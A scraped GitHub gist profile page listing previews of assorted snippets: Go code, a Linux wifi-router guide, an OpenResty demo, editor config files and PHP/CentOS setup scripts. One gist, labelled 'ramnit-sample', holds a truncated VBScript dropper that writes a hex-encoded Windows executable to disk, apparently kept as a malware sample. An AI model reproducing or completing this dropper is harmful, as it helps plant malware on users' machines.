Skip to content

Instantly share code, notes, and snippets.

View karminski's full-sized avatar

张旭红 (karminski-牙医) karminski

View GitHub Profile
package main
import (
"fmt"
"syscall"
"log"
"unsafe"
)
const MMAP_FLAGS = syscall.MAP_ANONYMOUS
@karminski
karminski / _wireless.md
Created January 20, 2021 19:13 — forked from picchietti/_wireless.md
Making a wireless router with an ASUS PCE-AC88 and Linux (Ubuntu 18.04 LTS)

Introduction

This project makes a wifi router out of an ASUS PCE-AC88 wireless adapter and your Ubuntu Linux computer that can exceed top of the line routers.

Instead of buying a gaming grade router or another computer that you install openWRT on, follow this project and put the savings towards upgrading your main computer or modem.

Add Adapter

The adapter needs to be added to a PCI slot and the wireless antenna needs to be connected to the adapter. If your computer does not detect it, you may need to re-seat the adapter in the slot. If you can't detect wireless networks after installing the firmware below then this is probably why.

Install Firmware for Adapter

For your computer to use the wifi adapter you need to add the missing firmware that Asus won't provide.

@karminski
karminski / hello.sp
Created November 15, 2020 20:21 — forked from agentzh/hello.sp
[V=browser-hello.mp4] Hi, I'm Matthew from OpenResty Inc. In this video, I'll demonstrate how to implement a "hello world" HTTP interface using OpenResty.
First of all, we make sure we are using OpenResty's nginx.
[delay=0] $ export PATH=/usr/local/openresty/nginx/sbin:$PATH
$ which nginx
[S] It's usually in this path.
And then we go to the home directory.
@karminski
karminski / ramnit-sample.html
Created February 25, 2019 12:14
ramnit-sample
<SCRIPT Language=VBScript><!--
DropFileName = "ax.txt"
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E8040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
<?xml version="1.0" encoding="utf-8"?>
<key name="Software">
<key name="ConEmu">
<key name=".Vanilla" modified="2018-12-27 07:31:31" build="180626">
<value name="StartType" type="hex" data="02"/>
<value name="CmdLine" type="string" data=""/>
<value name="StartTasksFile" type="string" data=""/>
<value name="StartTasksName" type="string" data="{Shells::cmd}"/>
<value name="StartFarFolders" type="hex" data="00"/>
<value name="StartFarEditors" type="hex" data="00"/>
{
"answerList": [
{
"actionTime": "2018-07-05 03:51:43Z",
"answer": "<p>An easy to understand and simple solution.</p>\n\n<pre><code>// Save today's date.\nvar today = DateTime.Today;\n// Calculate the age.\nvar age = today.Year - birthdate.Year;\n// Go back to the year the person was born in case of a leap year\nif (birthdate &gt; today.AddYears(-age)) age--;\n</code></pre>\n\n<p>However, this assumes you are looking for the <em>western</em> idea of age and not using <a href=\"https://en.wikipedia.org/wiki/East_Asian_age_reckoning\" rel=\"noreferrer\"><em>East Asian reckoning</em></a>.</p>",
"isAccepted": true,
"vote": 1804
},
{
"actionTime": "2017-01-01 01:58:36Z",
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>author</key>
<string>Chris Thomas</string>
<key>name</key>
<string>Mac Classic</string>
<key>settings</key>
<array>
@karminski
karminski / install_kubernetes__on_cetnos_7.md
Last active January 23, 2018 11:51
install_kubernetes__on_cetnos_7.md
@karminski
karminski / centos7 yum repo for php7
Last active September 13, 2016 06:21
centos7 yum repo for php7
#!/bin/bash
# for_centos7.sh
# @version 160913:4
# @author karminski <code.karminski@outlook.com>
#
rpm -ivh http://mirrors.sohu.com/fedora-epel/7Server/x86_64/e/epel-release-7-8.noarch.rpm
yum clean all && yum makecache
yum update
@karminski
karminski / php-7 configure
Created September 9, 2016 11:33
php-7 configure
./configure \
--enable-fpm \
--enable-opcache \
--enable-pdo \
--enable-sockets \
--enable-exif \
--enable-soap \
--enable-ftp \
--enable-wddx \
--enable-pcntl \